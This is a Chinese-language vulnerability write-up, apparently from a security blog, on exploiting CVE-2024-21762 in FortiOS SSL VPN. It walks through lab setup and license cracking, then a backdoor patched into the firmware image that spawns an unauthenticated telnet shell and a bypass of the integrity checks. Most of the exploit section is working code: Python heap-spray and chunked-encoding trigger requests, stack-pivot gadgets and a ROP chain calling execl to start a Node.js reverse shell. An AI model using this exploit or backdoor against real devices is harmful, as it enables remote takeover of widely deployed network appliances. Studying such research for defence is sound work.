原创 | CVE-2024-21762 FortiOS内存越界写导致RCE漏洞分析
前言
内存越界写入仅有的2个字节 \r\n导致了RCE。这整条利用链比较巧妙, 还是非常值得学习的, 这里记录一下从环境搭建到漏洞利用再到getshell的一个过程。
环境搭建
这里用到的测试环境为 FGT_VM64-v7.2.1.F-build1254-FORTINET
网络配置
加载ova虚拟机,并启动, 配置网卡1为自己的网段:
进入系统后输入默认的用户名admin, 密码为空, 接着进到CLI界面, 开始按照以下配置, 设置网卡:
config system interface
edit port1
set mode static
set ip 192.168.102.200 255.255.255.0
set allowaccess ping https http ssh telnet
end
配置后, 就设置好了IP地址, 并且开启了22、23、80、443的端口, 可以自行查看有没有ping通。
sslvpn服务配置
通过https访问目标进入后台页面, 此时需要破解license, 可以参考@CATALPA大佬的脚本: https://github.com/rrrrrrri/fgt-gadgets, 激活后, 就可以开始配置VPN功能了。
1、创建sslvpn的用户:
2、创建组,并且将用户添加至组
3、配置sslvpn,选择监听网卡以及端口（这里设置的是4443）
4、设置可访问组为自己创建的组：
5、防火墙配置 添加允许port1网卡对sslvpn的访问：
6、正常访问sslvpn服务：
Patch后门
加载虚拟机后, 会有2个vmdk文件, 其中vmdk1里边保存的有一个叫做 rootfs.gz的压缩包, 里边保存的就是文件系统, 另外的一个 flatkc是加载启动的内核程序,其实就是vmlinx换了个名字。
我们的目标是: 将系统的某些自动加载的程序替换为我们自己的后门(以往的思路例如:替换vmtools等).
这里用到的一个方法是：替换掉cli中的一个叫做 smartctl的功能, 他本来是指向 /bin/init的一个软链接, 我们可以把他替换成一个静态编译的后门程序, 这样就达到了从cli调用smartctl会执行后门程序的效果。
通过在一台Linux设备上挂载这个vmdk1硬盘来修改里边的内容：
我整合了一下patch后门的步骤：
# 挂载vmdk
root@Pwn-Baka:/mnt# mount /dev/sdb1 /mnt/fuckforti
# 解压vmdk中的rootfs.gz
root@Pwn-Baka:/mnt/forti-rootfs# gzip -d rootfs.gz
root@Pwn-Baka:/mnt/forti-rootfs# mkdir ../fos_rootfs ; cd ../fos_rootfs/
root@Pwn-Baka:/mnt/fos_rootfs# mv ../forti-rootfs/rootfs .
root@Pwn-Baka:/mnt/fos_rootfs# cpio -idmv < rootfs
root@Pwn-Baka:/mnt/fos_rootfs# rm rootfs
# 解压bin目录
root@Pwn-Baka:/mnt/fos_rootfs# chroot . /sbin/xz --check=sha256 -d /bin.tar.xz
root@Pwn-Baka:/mnt/fos_rootfs# chroot . /sbin/ftar -xf /bin.tar
# 替换默认shell
root@Pwn-Baka:/mnt/fos_rootfs# mv bin/sh bin/sh_bak
root@Pwn-Baka:/mnt/fos_rootfs# ln -sn /bin/busybox bin/sh
root@Pwn-Baka:/mnt/fos_rootfs#
# 制作后门
root@Pwn-Baka:/mnt/hgfs/Ubuntu/forti_backdoor# cat main.c
#include <stdlib.h>
void shell() {
system("/bin/busybox ls");
system("/bin/busybox id");
system("/bin/busybox killall sshd && /bin/busybox telnetd -l /bin/sh -b 0.0.0.0 -p 22");
}
int main(int argc, char **argv) {
shell();
return 0;
}
//gcc -g main.c -static -o smartctl-backdoor
root@Pwn-Baka:/mnt/hgfs/Ubuntu/forti_backdoor# gcc -g main.c -static -o smartctl-backdoor
root@Pwn-Baka:/mnt/fos_rootfs/bin# mv busybox-i686-v1-sysv busybox
# 替换后门
root@Pwn-Baka:/mnt/fos_rootfs/bin# mv /mnt/hgfs/Ubuntu/forti_backdoor/smartctl-backdoor smartctl
# 重打包bin目录
root@Pwn-Baka:/mnt/fos_rootfs# chroot . /sbin/ftar -cf /bin.tar /bin
root@Pwn-Baka:/mnt/fos_rootfs# chroot . /sbin/xz -z /bin.tar
# rm -rf bin !!!!!!这里不能删除/bin目录 要保留patch后的/bin/init, 至于删其他文件会不会出现问题可以自行尝试
# 重打包rootfs
root@Pwn-Baka:/mnt/fos_rootfs# find . | cpio -H newc -o > "../rootfs"
root@Pwn-Baka:/mnt/fos_rootfs# cat "../rootfs" | gzip > "../rootfs.gz"
root@Pwn-Baka:/mnt/fos_rootfs# dd if=/dev/zero bs=1 count=256 >> "../rootfs.gz"
# 替换rootfs.gz
root@Pwn-Baka:/mnt/fos_rootfs# cd ../fuckforti/
root@Pwn-Baka:/mnt/fuckforti# cp ../rootfs.gz .
# 取消挂载
root@Pwn-Baka:/mnt/fuckforti# cd ..
root@Pwn-Baka:/mnt# umount /mnt/fuckforti/
# 提取vmlinux
root@Pwn-Baka:/mnt/fuckforti# cp flatkc ../
root@Pwn-Baka:/mnt/fuckforti# cd ..
root@Pwn-Baka:/mnt# umount fuckforti/
root@Pwn-Baka:/mnt# cp flatkc hgfs/Ubuntu/
# 转换vmlinux
> git clone https://github.com/marin-m/vmlinux-to-elf.git
> cd vmlinux-to-elf
> python3 vmlinux-to-elf /Users/w22/Ubuntu/iot/FortiGate/fuckforti/flatkc /Users/w22/Ubuntu/iot/FortiGate/fuckforti/flatkc1
除了以上的步骤, 还需要解决一些问题:
1、系统没有busybox, 需要传一个x86-64的busybox进去, 确保后边调试方便. 2、我用Ubuntu环境静态编译的后门不知道为什么没有被执行, 之后用go编译了一个可以了. 这里感谢@pipiyang的思路
go后门代码:
// cp /mnt/hgfs/Ubuntu/iot/FortiGate/fuckforti/smartctl_backdoor_go/smartctl-backdoor smartctl
绕过文件系统检查
/bin/init这个文件是一个很大的bin文件, 有60多M, 里边存放了FortiOS的启动过程, 还有很多功能都是链接向他的, 例如sslvpnd服务也是通过/bin/init启动的, 在图中的位置检查了rootfs.gz的文件完整性. 检查失败会到do_halt, 直接重启。
这里的思路很简单, 将do_halt直接ret即可, 或者修改判断逻辑, 直接patch即可。
绕过内核检查
可以通过 vmlinux-to-elf工具将flatkc变为elf程序, 这样就可以使用gdb或者ida加载并分析了。
从kernel_init跟进, 发现有一个名为 fgt_verify的函数, 如果他返回异常,系统就会重启。
解决他的思路是在走完fgt_verify函数时, 将 \$rax置0, 并且将启动的/sbin/init 替换为修改后的/bin/init
这里写了一个gdb启动脚本, 可以参考(其中注释的部分是需要手动执行的. 具体 /bin/init的位置, 需要查看flatkc文件中/bin/init的地址):
import gdb
gdb.execute('set architecture i386:x86-64') #设置架构
gdb.execute('set pagination off') #关闭分页
gdb.execute('file ./flatkc1') #加载启动内核文件
gdb.execute('b fgt_verify') #fgt_verify
# finish
# set $rax = 0
# set {char[9]}0xFFFFFFFF808F3591 = "/bin/init"
# set {char}0xFFFFFFFF808F359A = '\x00'
虚拟机启动后, 运行 diagnose hardware smartctl, 启动后门：
此时通过telnet连接22端口测试：
关于调试
由于22、23端口都被进程占用, 其中22端口是被替换成了/bin/busybox telnetd,23端口为原本的telnet服务, 我们用不到他, 这时候就可以通过kill掉系统的telnetd服务,并且监听我们的gdbserver程序, 命令如下:
/bin/busybox kill `/bin/busybox ps | grep "/[b]in/telnetd" | /bin/busybox awk '{print $1}'` ; ./gdbserver 0.0.0.0:23
--attach `/bin/busybox ps |grep ssl[v]pnd |/bin/busybox awk '{print $1}'`
可以看到成功attach到sslvpnd进程:
这里也记录了一些调试漏洞时的一些断点命令, 可以自行参考:
import gdb
gdb.execute("set architecture i386:x86-64")
gdb.execute("file ../init")
gdb.execute("set pagination off") #关闭分页
# gdb.execute("b* 0x176bbb6") #越界写0a0d后,crash前leave位置
# gdb.execute("b *0x1780a20") # jmp rax所在的函数
# gdb.execute("b* 0x000000000177F410")
# gdb.execute("b *0x1780B1B") # jmp rax
# gdb.execute("watch *0x7fc9d3ae3a00") # 分配堆块
# gdb.execute("b *0x178E196") # 分配堆块位置
# gdb.execute("b* 0x43ec1b") #system_plt
# gdb.execute("b* 0x1780C19") #可控参数call
# gdb.execute("b* 0x7fc9d8d4ca31") #do_system_args
# gdb.execute("b* 0x7f47c9cdf956") # <SSL_do_handshake+54>
# gdb.execute("b* 0x7f47c9cdf98e") # <SSL_do_handshake+110>:jmp rax
# gdb.execute("b* 0x01f710ed") # debug rop
gdb.execute("target remote 192.168.102.200:23")
gdb.execute("c")
漏洞发现
diff补丁：
通过diff补丁可以知道, 新版本添加了对chunk的限制: 当ap_getline的返回值大于16的时候添加了非法chunk的异常处理。
通过分析公开的PoC, 以及解析chunk的处理后发现:
如果chunk length的字段解码后为0的话, 就会从chunk trailer开始读, 而chunk trailer是由ap_getline读取的. 读取chunk trailer的时候,会根据chunk length的长度写入 0x0d,0x0a
所以, 我们如果在chunk length上传入0的长度大于剩余缓冲区长度的1/2时,就会触发越界写 0x0a0d,而偏移0x2028的位置保存了返回地址.如果在偏移0x202e的位置写入\r\n.当函数返回执行ret指令恢复rip时就会因地址非法产生崩溃。
Crash分析
Crash PoC：
通过调试发现,rsp的值已经被覆盖为0x0a0d开头的一个内容:
由于越界写的内容很有限, 只有固定的0x0a0d两个字节，所以也无法劫持rip指针，所以现在需要想办法来控制写入0x0a0d的位置，以及思考2个字节可以做什么。
漏洞利用
控制写入0a0d位置:
程序在0x176bbb7的位置发生崩溃了, 我们在发生崩溃, leave之前的位置下一个断点,查看栈的情况:
b* 0x176bbb6
首先在越界写0x0a0d的位置下断点: 然后查看栈的信息, 这里用了PoC中的值以及PoC中的偏移+0x20的值,
#payload -> b"0"*((0x202e//2)-2)+b"a"
pwndbg> x/1i $rip
=> 0x176bbb7:ret
pwndbg> x/10gx $rsp
0x7fff03071f68:0x0a0d00000177f48d0x00007fff03071f80 <--写入0a0d位置
0x7fff03071f78:0x00007f47c45b92180x00007fff03071fb0
0x7fff03071f88:0x00000000000000000x00007f47c52e3ac0
0x7fff03071f98:0x00007f47c52e3a000x0000000000000000
0x7fff03071fa8:0x000000010016966d0x00007fff03071fe0
#payload -> b"0"*((0x202e//2)-2+0x20)+b"a"
pwndbg> x/1i $rip
=> 0x176bbb7:ret
pwndbg> x/10gx $rsp
0x7fff03071f68:0x000000000177f48d0x00007fff03071f80
0x7fff03071f78:0x00007f47c45b92180x00007fff03071fb0
0x7fff03071f88:0x0a0d0000000000000x00007f47c52e3ac0 <--写入0a0d位置
0x7fff03071f98:0x00007f47c52e3a000x0000000000000000
0x7fff03071fa8:0x000000010016d6040x00007fff03071fe0
此时发现可以控制0a0d的位置, 并且可以成功绕过这个由于返回地址被改为0a0d时出现的段错误了, 继续跟进调试: 发现程序走进了一段小gadget:
到这里我们可以发现, 如果说我们写入一个0d0a 使他刚好可以覆盖掉某个栈上的值, 是否就可以在pop寄存器的时候修改寄存器的内容呢?
错误的尝试:
1、通过修改rbp的低字节, 结果:程序没有leave来恢复栈, 导致crach (x) 2、可以改一些变量内容, 结果: 改了很多变量, 发现没什么卵用 (x)
利用方法:
((0x202e//2)-2+0x15)的位置,修改后的代码如下:pwndbg> x/1i $rip
=> 0x176bbb7:ret
pwndbg> x/10gx $rsp
0x7fff03071f68:0x000000000177f48d0x00007fff03071f80
0x7fff03071f78:0x00007f47c45b92180x00007fff03071fb0
0x7fff03071f88:0x00000000000000000x00007f47c52e3ac0
0x7fff03071f98:0x00007f47c52e0a0d0x0000000000000000 #3a00 -> 0a0d
0x7fff03071fa8:0x000000010019803d0x00007fff03071fe0
这个位置保存的是一个堆指针。
可以看到, 在执行了pop r13后, r13的值被修改为我们覆盖掉0a0d的值:
继续执行, 程序走在了读rsi地址没有读到的地方, 发生了崩溃：
分析这个地址所在的函数sub_1780A20后, 发现了一个有趣的地方, 这里的v9 通过*(v8+0xc0)得到的,而v8的值是rdx, 他的获取方法是通过rsi+0x70的地址所在的值, 而这个值是我们可控的(存于堆中), 所以我们可以通过修改v9的值指向任意的函数,从而做到任意函数的调用。
这里的v9为rax, a1为第一个参数, 也就是rdi的值。
劫持函数指南针
这里可以通过2步来修改rsi的值:
1、通过堆喷的方法, 创建一个堆布局 2、通过发送PoC,修改堆指针,使其走到sub_1780A20函数中
所以做的表单的变量与参数需要分别设置大小,以保证堆喷的目标为0x608大小的堆块上：
body = b'A'*(0x608) + b"=" + b'B'*(0x508) + b"&"
body = body*12
print("[*]heap spray -> "+str(len(body)))
ssock1 = alloc_ssl(HOST)
data = b"POST /remote/hostcheck_validate HTTP/1.1\r\n"
data += f"Host: {IP}:{PORT}\r\n".encode()
data += f"Content-Length: {len(body)}\r\n".encode()
data += b"\r\n"
data += body
ssock1.sendall(data)
time.sleep(1)
print("[*]writing 0a0d..")
ssock2 = alloc_ssl(HOST)
data = b"POST / HTTP/1.1\r\n"
data += f"Host: {IP}:{PORT}\r\n".encode()
data += b"Transfer-Encoding: chunked\r\n"
data += b"Connection: close\r\n"
data += b"\r\n"
data += b"0"*4137 + b"\0"
data += b"A\r\n\r\n"
ssock2.send(data)
调试得到结果如下, 可以看到rsi可控:
既然rsi可控了, 现在就是分析多级指针解引用的问题了, 以保证程序能正常的被控制为我们想执行的代码, 这里以system函数举例,过程如下：
计算偏移后, 将目标地址修改为0x431f68:
system_ptr = up64(0x431f68) #解引用后
body = b''
body+= cyclic(1421)
body+= system_ptr
body+= b'A'*(0x608-1421-8)
body+= b"="
body+= b'B'*(0x508)
body+= b"&"
body = body*12
# bug1: 0x177f443 mov r15, qword ptr [r13 + 0x70]
# bug2: 0x1780aee mov rdx, qword ptr [rsi + 0x70]
print("[*]heap spray -> "+str(len(body)))
ssock1 = alloc_ssl(HOST)
data = b"POST /remote/hostcheck_validate HTTP/1.1\r\n"
data += f"Host: {IP}:{PORT}\r\n".encode()
data += f"Content-Length: {len(body)}\r\n".encode()
data += b"\r\n"
data += body
ssock1.sendall(data)
time.sleep(1)
print("[*]writing 0a0d..")
ssock2 = alloc_ssl(HOST)
data = b"POST / HTTP/1.1\r\n"
data += f"Host: {IP}:{PORT}\r\n".encode()
data += b"Transfer-Encoding: chunked\r\n"
data += b"Connection: close\r\n"
data += b"\r\n"
data += b"0"*4137 + b"\0"
data += b"A\r\n\r\n"
ssock2.send(data)
此时system函数被执行(这里执行/bin/busybox的原因是我将/bin/sh链接到了/bin/busybox):
这里本来以为结束了, 后来想到由于系统自带的/bin/sh功能很少, 而system函数默认会调用/bin/sh去执行命令,就算执行了也不能达到什么效果, 所以就放弃了使用system函数, 打算使用execl函数, 去调用自带的/bin/node反弹shell.达到execl("/bin/node","/bin/node","-e","反弹shell代码")。
控制RIP
**通过分析之前的文章, 发现了一个有趣的导入函数: **SSL_do_handshake, 这个函数entry处的代码如下:
0x7fc9d85f7920 <SSL_do_handshake>:push rbp
0x7fc9d85f7921 <SSL_do_handshake+1>:sub rsp,0x30
0x7fc9d85f7925 <SSL_do_handshake+5>:mov rax,QWORD PTR fs:0x28
0x7fc9d85f792e <SSL_do_handshake+14>:mov QWORD PTR [rsp+0x28],rax
0x7fc9d85f7933 <SSL_do_handshake+19>:xor eax,eax
0x7fc9d85f7935 <SSL_do_handshake+21>:cmp QWORD PTR [rdi+0x30],0x0
0x7fc9d85f793a <SSL_do_handshake+26>:je 0x7fc9d85f79e2 <SSL_do_handshake+194>
0x7fc9d85f7940 <SSL_do_handshake+32>:mov rbp,rdi
0x7fc9d85f7943 <SSL_do_handshake+35>:mov esi,0xffffffff
0x7fc9d85f7948 <SSL_do_handshake+40>:call 0x7fc9d86278e0
0x7fc9d85f794d <SSL_do_handshake+45>:mov rax,QWORD PTR [rbp+0x8]
0x7fc9d85f7951 <SSL_do_handshake+49>:xor esi,esi
0x7fc9d85f7953 <SSL_do_handshake+51>:mov rdi,rbp
=> 0x7fc9d85f7956 <SSL_do_handshake+54>:call QWORD PTR [rax+0x60]
0x7fc9d85f7959 <SSL_do_handshake+57>:mov rdi,rbp
0x7fc9d85f795c <SSL_do_handshake+60>:call 0x7fc9d8626960 <SSL_in_init>
0x7fc9d85f7961 <SSL_do_handshake+65>:test eax,eax
0x7fc9d85f7963 <SSL_do_handshake+67>:je 0x7fc9d85f7990 <SSL_do_handshake+112>
0x7fc9d85f7965 <SSL_do_handshake+69>:test BYTE PTR [rbp+0x9f1],0x1
0x7fc9d85f796c <SSL_do_handshake+76>:jne 0x7fc9d85f79c0 <SSL_do_handshake+160>
0x7fc9d85f796e <SSL_do_handshake+78>:mov rax,QWORD PTR [rsp+0x28]
0x7fc9d85f7973 <SSL_do_handshake+83>:sub rax,QWORD PTR fs:0x28
0x7fc9d85f797c <SSL_do_handshake+92>:jne 0x7fc9d85f7a19 <SSL_do_handshake+249>
0x7fc9d85f7982 <SSL_do_handshake+98>:mov rax,QWORD PTR [rbp+0x30]
0x7fc9d85f7986 <SSL_do_handshake+102>:add rsp,0x30
0x7fc9d85f798a <SSL_do_handshake+106>:mov rdi,rbp
0x7fc9d85f798d <SSL_do_handshake+109>:pop rbp
0x7fc9d85f798e <SSL_do_handshake+110>:jmp rax
0x7fc9d85f7990 <SSL_do_handshake+112>:mov rdi,rbp
0x7fc9d85f7993 <SSL_do_handshake+115>:call 0x7fc9d8626990 <SSL_in_before>
0x7fc9d85f7998 <SSL_do_handshake+120>:test eax,eax
...
我们关注其中的<SSL_do_handshake+110>的位置, 他的指令是jmp rax, 并且在<SSL_do_handshake+45>的时候, 他取了栈上的一段数据给了rax, 这就说明了rax其实是可控的. 所以如果可以到达这个地方, 那么就可以劫持\$rip寄存器.
这里成功进到了这个函数, 也遇到了一个问题: 在\<SSL_do_handshake+54>的地方, call了一个rax+0x60的地址。
这个地址是可控的, 我们就可以给他赋一个没什么用的函数, 比如getcwd,注意这里需要-0x60.
控制跳转\$rip寄存器,但是还没有结束, 这里我们需要构造一个栈空间, 来实现ROP
ps:这里有2个巨坑: FortiOS里会有一个地方对输入的表单内容做检查, 这里感谢@chumen77师傅的指点
1、如果是奇数或者偶数分支也不太一样,会出现奇奇怪怪的错误, 到不了 <SSL_do_handshake+110>,不过这个位置是固定的, 经过测试, 他就在过掉\<SSL_do_handshake+45>的call之后填充的+32的偏移的字节的位置. 这里要用偶数,不要用奇数!
2、如果堆喷发送的包过大或者写入的地址被覆盖, url编码不会被解析！
栈迁移
触发jmp rax崩溃时,\$rdi寄存器仍指向堆空间, 这时候就有一个思路, 将当前的栈, 迁移至堆。
可以通过ROPgadget以及ropr等工具找到以下gadget：
#stack pivoting
pivot_1 = up64(0x00f62332)# push rdi; pop rsp; ret;
pivot_2 = up64(0x021b8b07)# add rsp, 0x2a0; pop rbx; pop r12; pop rbp; ret;
pivot_3 = up64(0x023c32ad)# add rsp, 0xd80; pop rbx; pop r12; pop rbp; ret;
通过pivot_1可以迁移栈到rdi所在的堆 pivot_2和pivot_3一样, 都是可以移动栈的位置, 这里我选择了pivot_3, 因为pivot2移动栈指针后,指向的地址离一些自己写入的地址位置很近并且空间不太够.这里根据堆的情况自己调整就好
ROP
此时就可以构造ROP了,这个过程简单一些, 分别将rdi、rsi、rdx、rcx、r8进行赋值,最后进入execl函数即可,我构造的ROP链如下:
#rop chains
rop = b""
# rdi -> /bin/node
rop+= up64(0x000000000046bb26) # push rdi ; pop rax ; ret
rop+= up64(0x00000000013f12e9) # sub rax, 0x2c8 ; ret
rop+= up64(0x006107e0) # push rax; pop rcx; rol byte ptr [rdx], 0xba; mov al, 0x65; ret;
rop+= up64(0x01dc07a6) # push rax; pop rdi; fadd st, qword ptr [rcx]; mov qword ptr [rip+0xa54dbb3], 0x1dc5e30; ret;
# rsi -> /bin/node
# rop+= up64(0x01ca1824) # add rsi, rax; mov [rdi+8], rsi; ret;
rop+= up64(0x01d125ea) # push rax; pop rsi; or al, [rax]; ret;
# rdx -> -e
rop+= up64(0x00000000004e906e) # add rax, 0x10 ; ret
rop+= up64(0x0256e7ae) # pop rdx; ret;
rop+= up64(0) # rdx -> 0
rop+= up64(0x01f710ed) # add rdx, rax; lea rax, [rsi+rdx*4+0x2a20]; ret; ---rdx在rdi+0x10的位置; 此时rax被破坏
# r8 -> 0
rop+= up64(0x02a852f5) # pop r8; ret; 这里也可以用xor r8, r8; ret;来替代,可以节约一些字节
rop+= up64(0)# r8 -> 0
# rcx -> {js code}
rop+= up64(0x000000000058f7f3) # pop rcx ; ret
rop+= up64(0) # rcx -> 0
rop+= up64(0x00772b3e) # add rcx, rdi; lea rax, [rcx+rcx+0x3fd2642]; ret;
rop+= up64(0x01317394) # add rcx, 0x38; call qword ptr [rbx+0x10];
在给rcx赋值的时候取了一个巧, 找到了抬高rcx,并且直接call了一段可控地址的gadget:add rcx, 0x38; call qword ptr [rbx+0x10]; ,它可以给rbx赋值后, 将call的地址改为execl的地址-0x10的位置. 由于call完就结束了, 所以要先给r8寄存器赋值为0。
GetShell
最后将所有的寄存器都赋值,并且调用execl函数,并且成功加载了/bin/node:
此时已经加载了js代码,并且反弹node的shell回来了。
结束
到了这里还是有一些问题的:
由于堆喷实现的堆布局比较随机, 每次重启的时候打设备会发生变化, 所以重启后可能打不通, 这时候需要把程序给打崩掉, 等待守护进程自动启动sslvpnd服务, 这样可以达到重置内存的效果, 然后再用exp打, 但是利用成功率不高。 重启后,不通过gdb attach加载也有概率打不通。解决思路同上。 以上可能是我利用方式存在缺陷, 如果有更好的解决方法, 望指正。
往期推荐
原创 | 深度剖析GadgetInspector执行逻辑(下)
原创 | amazon-redshift-jdbc-driver 任意代码执行漏洞